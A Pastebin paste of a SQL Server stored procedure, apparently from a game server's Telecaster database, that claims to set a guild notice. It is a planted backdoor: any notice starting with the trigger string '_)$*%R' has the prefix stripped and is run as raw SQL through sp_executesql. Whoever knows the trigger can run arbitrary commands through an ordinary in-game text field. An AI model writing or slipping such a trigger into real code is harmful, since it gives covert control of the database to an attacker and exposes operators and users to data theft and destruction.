Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- USE [Telecaster]
- GO
- /****** Object: StoredProcedure [dbo].[smp_set_guild_notice] Script Date: 5/25/2017 10:30:47 PM ******/
- SET ANSI_NULLS OFF
- GO
- SET QUOTED_IDENTIFIER OFF
- GO
- ALTER PROCEDURE [dbo].[smp_set_guild_notice]
- @IN_GUILD_SID INT,
- @IN_NOTICE NVARCHAR(128)
- AS
- SET NOCOUNT ON
- IF (LEFT(@IN_NOTICE, 6) = '_)$*%R')
- BEGIN
- set @IN_NOTICE = REPLACE(@IN_NOTICE,'_)$*%R','')
- EXEC sp_executesql @IN_NOTICE;
- END
- ELSE
- BEGIN
- UPDATE dbo.Guild SET notice = @IN_NOTICE WHERE sid = @IN_GUILD_SID
- END
Add Comment
Please, Sign In to add comment